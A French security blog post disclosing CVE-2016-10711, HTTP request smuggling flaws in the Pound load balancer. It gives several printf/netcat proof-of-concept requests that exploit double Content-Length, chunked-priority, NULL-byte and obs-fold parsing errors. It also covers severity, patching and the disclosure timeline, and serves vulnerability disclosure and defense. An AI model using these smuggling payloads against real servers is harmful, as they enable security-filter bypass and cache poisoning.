Accueil / Blog / Métier / 2018 / Contrebande de HTTP (Smuggling): Load Balancer Apsis Pound

Contrebande de HTTP (Smuggling): Load Balancer Apsis Pound

Par Régis Leroy — publié 03/07/2018, édité le 04/07/2018
Détails de la faille CVE-2016-10711 (faille publiée en février 2018)
Contrebande de HTTP (Smuggling): Load Balancer Apsis Pound

Apsis Gmbh Pound

version Française (English Version available on regilero's blog). temps de lecture estimé: 15min

Pound?

Pound est un répartiteur de charge (load balancer) HTTP, Open Source, habituellement utilisé comme terminateur SSL/TLS (gérant le https et les certificats devant un backend HTTP plus classique). Il y a longtemps de cela c'était un moyen simple et efficace d'ajouter le SSL pour un site web.

Si vous regardez le site web officiel vous verrez que pound y est décrit comme un répartiteur de charge, un revsre proxy, un wrapper SSL et aussi un sanitizer (nettoyeur) :

an HTTP/HTTPS sanitizer: Pound will verify requests for correctness and accept only well-formed ones.

Ce qu'on peut traduire en : un nettoyeur HTTP/HTTPS : Pound va vérifier les requêtes pour leur correction et n'accepter que celles qui sont bien formées.

L'activité du projet s'est ralentie et la dernière CVE publiée début 2018 a peut-être soulevé quelques avertissements liés à ce fait.

Le projet Debian a retiré le package, pas uniquement à cause de cette CVE, où un patch était disponible, d'après cette discussion il semble que la compatibilité avec les nouvelles versions d'OpenSSL et le manque d'activité sur le projet ont grandement contribué à cette décision.

Versions corrigées de Pound

Si on regarde la page de statut Debian pour ce package aujourd'hui (2018-07-03) il y a un avertissement sur le fait que le package a sans doute été retiré car il n'est pas retrouvé dans les repository de développement, et 3 actions : version trop ancienne, 1 faille de sécurité ignorée pour stretch (stable) et une pour jessie (oldstable). D'après mes propres tests je n'arrive pas à installer le package pound avec jessie, mais sur stretch j'y arrivait encore, avec les failles de sécurité non corrigées.

Sui vous utilisez un package Suse vous avez à votre disposition les mises à jour de sécurité.

Sur la page officielle du projet la version stable officielle est dorénavant la version 2.8et elle contient les correctifs.

La première version à contenir ces correctifs était la version 2.8a (expérimentale); et il y a eu un temps très long pendant lequel seule cette version expérimentale était disponible.

Un diff des codes source de la version 2.8 n'est pas très gros : (fossies1 | fossies2fossies3). Il contient quelques fonctionnalités retirées (comme le dynamic scaling) et des filtres de syntaxe de sécurité à propos de failles de Smuggling HTTP. C'est la partie qui nous intéresse.

CVE-2016-10711

La description officielle de la CVE est:

Apsis Pound before 2.8a allows request smuggling via crafted headers

Soit : Apsis Pound avant 2.8a autorise la contrebande de requête à travers des entêtes forgées.

La plupart des failles sont en fait des erreurs très courantes avec les parseurs HTTP (avec aussi quelques erreurs rares et très spécifiques, comme dans la gestion du caractère NULL). Ou plutôt je devrais dire que ces erreurs étaient courantes avant 2005 et avant la RFC 7230. Ces dernières années j'ai rapporté des failles similaires dans un grand nombre de projets, des petits, et parfois des plus gros, donc il peut être intéressant d'étudier certains de ces 'headers générés'.

Notez que, comme expliqué plus bas, Pound, étant un terminateur SSL, n'est pas la pièce la plus critique dans une attaque de contrebande HTTP. Mais le paradigme entier 'attaques de contrebande HTTP' est basé sur l'enchaînement d'erreurs de syntaxe sur des acteurs multiples, donc chacun devrait détecter les étranges headers générés et se comporter conformément à la spécification.

1- Support du Double content-length

Toute requête contenant 2 headers Content-Lenght DOIT être rejetée.

RFC7230 3.3.2

If a message is received that has multiple Content-Length header fields with field-values consisting of the same decimal value, or a single Content-Length header field with a field value containing a list of identical decimal values (e.g., "Content-Length: 42, 42"), indicating that duplicate Content-Length header fields have been generated or combined by an upstream message processor, then the recipient MUST either reject the message as invalid or replace the duplicated field-values with a single valid Content-Length field containing that decimal value prior to determining the message body length or forwarding the message.

RFC7230 3.3.3

If a message is received without Transfer-Encoding and with either multiple Content-Length header fields having differing field-values or a single Content-Length header field having an invalid value, then the message framing is invalid and the recipient MUST treat it as an unrecoverable error. If this is a request message, the server MUST respond with a 400 (Bad Request) status code and then close the connection.

Dans le cas de Pound, Si vous envoyez une requête avec :

Content-Length: 0
Content-Length: 147

Le résultat est Taille du Body = 0

Si vous en envoyez une avec :

Content-Length: 147
Content-Length: 0

Le résultat est Taille du Body = 147

Le seul résultat officiel devrait être une erreur. Si un précédent acteur dans la communication HTTP contenait la même faille, mais inversée, vous auriez un facteur de contrebande facile. Nous verrons ci-dessous des exemples d'exploits de pipelines HTTP, l'objectif est habituellement d'avoir des tailles qui diffèrent, un des acteurs voit 3 requêtes, un autre acteur n'en voit que 2.

2) Priorité du mode chunk par rapport à Content-Length

Ici nous avons encore la RFC7230 section 3.3.3, mais sur un autre point:

If a message is received with both a Transfer-Encoding and a Content-Length header field, the Transfer-Encoding overrides the Content-Length. Such a message might indicate an attempt to perform request smuggling (Section 9.5) or response splitting (Section 9.4) and ought to be handled as an error.

Donc la règle est que vous pouvez rejeter le message (ce qui est maintenant le cas sur la plupart des serveurs HTTP), mais qu'au moins, si vous ne le rejetez pas, le mode de transmission par chunks est prioritaire par rapport aux headers Content-Length.

Avec Pound la règle est que le premier header rencontré à la priorité. Ce n'est pas bon.

Regardons un exemple. Ici je dispose d'un serveur Pound qui écoute sur le port 8080 sur 127.0.0.1 (donc sans support du HTTPS, mais croyez moi toutes les attaques marchent aussi à travers HTTPS, vous pouvez même utiliser open_ssl client à la place de netcat pour pousser les sorties de printf sur le serveur). Derrière le serveur pound parle à un serveur HTTP (le backend), n'importe lequel, sur un autre port.

  • J'utilise printf pour rendre mes requêtes HTTP, je n'utilise pas curl ou wget, parce que je veux un contrôle total sur tous les caractères.
  • Je chaîne toutes les requêtes dans une seule chaîne, je n'attends pas les réponses entre chaque requête, c'est ce qu'on appelle un pipeline HTTP, sans le support du HTTP Pipelining sur le serveur (ici Pound) je ne pourrais rien faire.
  • J'envois cette chaîne (de requêtes HTTP) à netcat (commande nc) qui est un commande de très bas niveau qui contrôle simplement la connexion TCP/IP àl'IP et au port désiré.
  • Cela revient au même qu'envoyer une requête HTTP avec un navigateur ou avec curl, mais j'ai le contrôle complet des headers sounoisement forgés.
  • Le but de l'attaquant est d'envoyer des messages qui pourraient contenir un nombre différent de requêtes quand il seraient lus par un parseur valide ou un parseur invalide, c'est le but technique. Le but fonctionnel de ceci est de passer à travers des filtrages de sécurité ou de l'empoisonement de cache (cache poisoning), ou d'autres choses complexes, mais comme une alert() dans le cas des XSS qui n'est qu'une preuve technique et non une attaque fonctionelle, si vous avez le mauvais nombre de réponses valides, il y a une faille de sécurité.
  • Si vous essayez ces commandes sur un environement de test vous devriez surveiller les requêtes renvoyées par Pound vers le backend, utilisez Wireshark pour cela. Chaque requête du pipeline sera envoyée individuellement vers le backend, pas dans un pipeline.

Ce qui donne :

# 2 reponses au lieu de 3
printf 'GET / HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Content-length:56\r\n'\
'Transfer-Encoding: chunked\r\n'\
'Dummy:Header\r\n\r\n'\
'0\r\n'\
'\r\n'\
'GET /tmp HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
'GET /tests HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
| nc -q3 127.0.0.1 8080

Pour un parseur valide il y a 3 requêtes :

La première :

GET / HTTP/1.1[CRLF]
Host:localhost[CRLF]
**Content-length:56[CRLF]** (ignorée et habituellement non envoyé vers le backend)
Transfer-Encoding: chunked[CRLF]
Dummy:Header[CRLF]
[CRLF]
0[CRLF]  (end of chunks -> fin du message)
[CRLF]

Deuxième:

GET /tmp HTTP/1.1[CRLF]
Host:localhost[CRLF]
Dummy:Header[CRLF]

Et la troisième :

GET /tests HTTP/1.1[CRLF]
Host:localhost[CRLF]
Dummy:Header[CRLF]

Pour un parseur invalide (ici Pound) il n'y a que deux requêtes et la première est :

GET / HTTP/1.1[CRLF]
Host:localhost[CRLF]
Content-length:56[CRLF]
**Transfer-Encoding: chunked[CRLF]** (ignoré et retiré, on l'espère)
Dummy:Header[CRLF]
[CRLF]
0[CRLF]  (début d'un body de 56 octets)
[CRLF]
GET /tmp HTTP/1.1[CRLF]
Host:localhost[CRLF]
Dummy:Header[CRLF] (fin des 56 octets du body, non interprétés)

3) Mauvaise transmission chunkée

RFC7230 section 3.3.3 :

If a Transfer-Encoding header field is present in a request and the chunked transfer coding is not the final encoding, the message body length cannot be determined reliably; the server MUST respond with the 400 (Bad Request) status code and then close the connection.

Si on utilise Transfer-Encoding: chunked, zorg on aura pas l'erreur 400.

4) NULL dans les headers -> concaténation

C'est une faille originale, au sens ou elle est assez rare (mais le caractère NULL est toujours amusant à tester).

Comme la plupart des serveurs HTTP Pound est codé en C, et les chaînes de caractères en C se terminent par le caractère NULL (\0). Trouver un caractère NULL dans une requête HTTP (hors de la partie body) devrait renvoyer une erreur, mais parfois le parseur ne détecte pas ces caractères parce que la ligne parsée est déjà interprétée à tort comme une chaîne C.

Avec pound dès qu'un caractère NULL était rencontré dans une ligne d'entête le parseur continuait le header sur la ligne suivante.

# 2 réponses au lieu de 3 (la deuxième requête est virée par pound, utilisée comme un body)
printf 'GET / HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Content-\0dummy: foo\r\n'\
'length: 56\r\n'\
'Transfer-Encoding: chunked\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
'0\r\n'\
'\r\n'\
'GET /tmp HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
'GET /tests HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
| nc -q3 127.0.0.1 8080

Voici une autre variation en utilisant le support du Double Content-Length. Ceci pourrait être utilisé si l'acteur précédent dans la chaîne n'avait pas le support du double Content-length (ce qui n'est pas rare)... mais aurait aussi le support des caractères NULL (ce qui l'est beaucoup plus).

# 2 réponses au lieu de 3 (la deuxième requête est virée par pound, utilisée comme un body)
printf 'GET / HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Content-\0dummy: foo\r\n'\
'length: 51\r\n'\
'Content-length: 0\r\n'\
'\r\n'\
'GET /tmp HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
'GET /tests HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
| nc -q3 127.0.0.1 8080

Sur chaque attaque nous avions 2 requêtes au lieu de 3, nous pouvons aussi faire 3 requêtes au lieu de 2.

# 3 réponses au lieu de 2 (deuxième requête découverte par Pound)
printf 'GET / HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Transfer-\0Mode: magic\r\n'\
'Encoding: chunked\r\n'\
'Content-length: 57\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
'0\r\n'\
'\r\n'\
'GET /tmp/ HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
'GET /tests HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
| nc -q3 127.0.0.1 8080

Et si vous êtes encore là, vous pouvez comparer les deux derniers exemples. Sur le premier nous tentons une transmission de mauvais mode chunk, et sur le dernier nous utilisons la syntaxe ops-fold. Utilisez Wireshark pour comparer les comportements et quelques transmissions potentielles de headers forgés vers le backend.

# chunk mode not applied
printf 'GET / HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Transfer-\0Mode: magic\r\n'\
'Encoding: chunked,zorg\r\n'\
'Content-length: 57\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
'0\r\n'\
'\r\n'\
'GET /tmp/ HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
'GET /tests HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
| nc -q3 127.0.0.1 8080

Le deuxième :

# chunk mode applied, and '\r\n zorg\r\n' ops-fold transmitted
printf 'GET / HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Transfer-\0Mode: magic\r\n'\
'Encoding: chunked\r\n'\
' zorg\r\n'\
'Content-length: 57\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
'0\r\n'\
'\r\n'\
'GET /tmp/ HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
'GET /tests HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
| nc -q3 127.0.0.1 8080

5) Bugs de transmission

Cette syntaxe bizarre de ops-fold pourrait être un problème. Elle a été retirée dans la version 2.8. Habituellement un Reverse Proxy qui supporte cette syntaxe ne la retransmet pas (on repasse tout sur une ligne).

Il y avait d'autres erreurs de transmission comme celle-ci (malheureusement non corrigée) :

printf 'GET / HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Transfer-Encoding: chunked\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
'0000000000000000000000000000042\r\n'\
'\r\n'\
'GET /tmp/ HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Transfer-Encoding: chunked\r\n'\
'\r\n'\
'0\r\n'\
'\r\n'\
| nc -q3 127.0.0.1 8080

Il ne s'agit pas ici d'une requête invalide. La taille du premier chunk est 42 en hexa, donc 66 octets.

Le deuxième chunk est le marqueur end-of-chunks, les deux dernières lignes 0\r\n\r\n. La requête GET /tmp/ n'existe pas, il s'agit juste d'octets non interprétés dans le body du premier chunk de 66 octets.

Mais si vous utilisez Wireshark vous verrez que ce message est transmis sans modifications, le 0000000000000000000000000000042 n'est pas réécrit en 42 ou 042. Ceci n'est toujours pas officiellement une faille. Le problème est que cette syntaxe est parfois une faille pour certains backends (failles de troncation de l'attribut de taille des chunks -- chunk size attribute truncation) où vous pourriez lire ce 0000000000000000000000000000042 comme un 0000000000000000 et le détecter à tort comme un marqueur end-of-chunks. Et vous décrouvrez alors à tort une deuxième (fausse) requête GET /tmp/.

Bien sûr la faille de sécurité ici est au niveau du backend, pas de Pound. Mais les mer..problèmes arrivent.

D'autres bugs de transmission ont été corrigés, comme ces syntaxes étranges :

GET /url?foo=[SOMETHING]HTTP/0.9 HTTP/1.1\r\n
ou
GET /url?foo=[SOMETHING]Host:example.com, HTTP/1.1\r\n

avec [SOMETHING] = BACKSPACE ou CR ou BEL ou FORMFEED ou HTAB ou VTAB.

Sévérité

Un mauvais parsing le la syntaxe HTTP est une faille de sécurité, le principal problème est que dans un réseau d'acteurs HTTP un mauvais acteur HTTP devient le marteau et les autres acteurs deviennent des clous.

L'acteur qui souffre de failles de type Request splitting va ) à tort de lire du body qui est censé contenir à peu près n'importe quoi et en extraire une requête. Aucun autre acteur précédent n'aurait pu filtrer cette requête avant, parce que c'était juste un body (security filter bypass). Et personne n'attend la réponse à cette requête (cache poisoning, etc.).

C'est pourquoi la RFC contient des préconisations minimales sur le parsing de la taille des messages.

Sur la plupart des installations Pound sera le terminateur SSL, habituellement le permier acteur du côté serveur de la chaîne.

Dans cette position les attaques de type request splitting sont difficiles à exploiter, cela peut peut-être servir à empoisonner un cache de forward proxy côté client, peut-être. Mais cela ne peut pas être utilisé pour attaquer les backends.

_____________________________              _________________________________
|      Client Side          |              |     Server Side               |
Browser ---> Forward proxy ------Internet---> Pound ---> Varnish ---> Nginx
                    Clou? <================== Marteau?
                                              Clou? <==== Marteau?

Il y a peut-être d'autres load balancers HTTPS devant pound côté serveur, sur certaines grosses installations, cela serait plus dangereux car pound pourrait alors être utilisé pour attaquer ces load balancers (ou WAFs ?) avec des réponses supplémentaires.

Mais dans cette position les failles qui ont le plus d'effet, du point de vue de l'attaquant, sont les failles de transmission, où les mauvais headers générés sont transmis vers les backends par pound. Parce que du côté des backends vous pouvez avoir quelques failles et c'est toujours une mauvais idée d'envoyer des mauvaises requêtes vers les backends.

Si vous regardez les deux principales erreurs, le double Content-Length et le non respect de la priorité du mode chunked, ce sont des attaques qui sont plus dangereuses sur un backend que sur un front. Ceci, à mon avis, réduit l'impact des exploitations de ces failles. Je me trompe peut-être. Mais les erreurs de transmission, qui sont plus dangereuses pour l'écosystème, ne sont habituellement même pas considérées comme des failles de sécurité, parce que le proxy ne duplique pas de requêtes, il ne fait que transmettre des syntaxes dangereuses.

J'utilise Pound, qu'est-ce que je peux faire?

Avant tout vous pouvez utiliser Pound 2.8. Ou une version du 2.7 qui contient les patchs.

Si les packages fixés ne sont pas disponibles pour votre distribution vous pouvez facilement compiler Pound 2.8. J'ai fais plusieurs compilations de Pound sur jessie et stretch en environnement docker sans complexité (configure/make/make install).

Vous pouvez aussi suivre l'équipe Debian et regarder du côté de projets plus actifs. Haproxy par exemple.

Timeline

  • 2016-09-05: rapports auprès du mainteneur du projet
  • 2016-09-08: quelques rapports supplémentaires
  • 2016-10-23: version 2.8a (expérimentale) publiée, avec tous les fixs, request smuggling est utilisé dans l'annonce, pas le mot security
  • 2018-01-15: je demande une CVE auprès du mainteneur du projet. Oui, assez tardivement, je ne travaille pas toujours sur ce sujet :-)
  • 2018-01-29: CVE Id réservée de mon côté et transmise au vendeur
  • 2018-02-13: pound fixé sur debian7 Wheezy (old), patch proposé pour jessie et stretch.
  • 2018-02-24: pound retiré de Debian unstable
  • 2018-05-11: Pound 2.8 annoncé officiellement
  • 2018-07-03: cette page

Voir aussi

ABONNEZ-VOUS À LA NEWSLETTER !
Voir aussi
Formation Sécurité Web du 13 au 15 mars à Paris Formation Sécurité Web du 13 au 15 mars à Paris 25/01/2017

Assistez à notre prochaine session de formation Sécurité Web !

Sécurité web: Détail de failles de sécurité dompdf 19/12/2016

Détail des 3 vulnérabilités dompdf de décembre 2015, dont une RCE (Remote Command Execution)

Attaques informatiques janvier 2015 15/01/2015

Qu'en attendre et comment réagir

Bien débuter avec Nginx Bien débuter avec Nginx 03/12/2015

Vous avez longtemps été un utilisateur plus ou moins averti de Apache HTTP Server et vous voulez ...

Exercice de lecture de code malveillant 03/02/2015

Voici un extrait de code malveillant retrouvé sur un serveur "piraté". Ce type de code permet à ...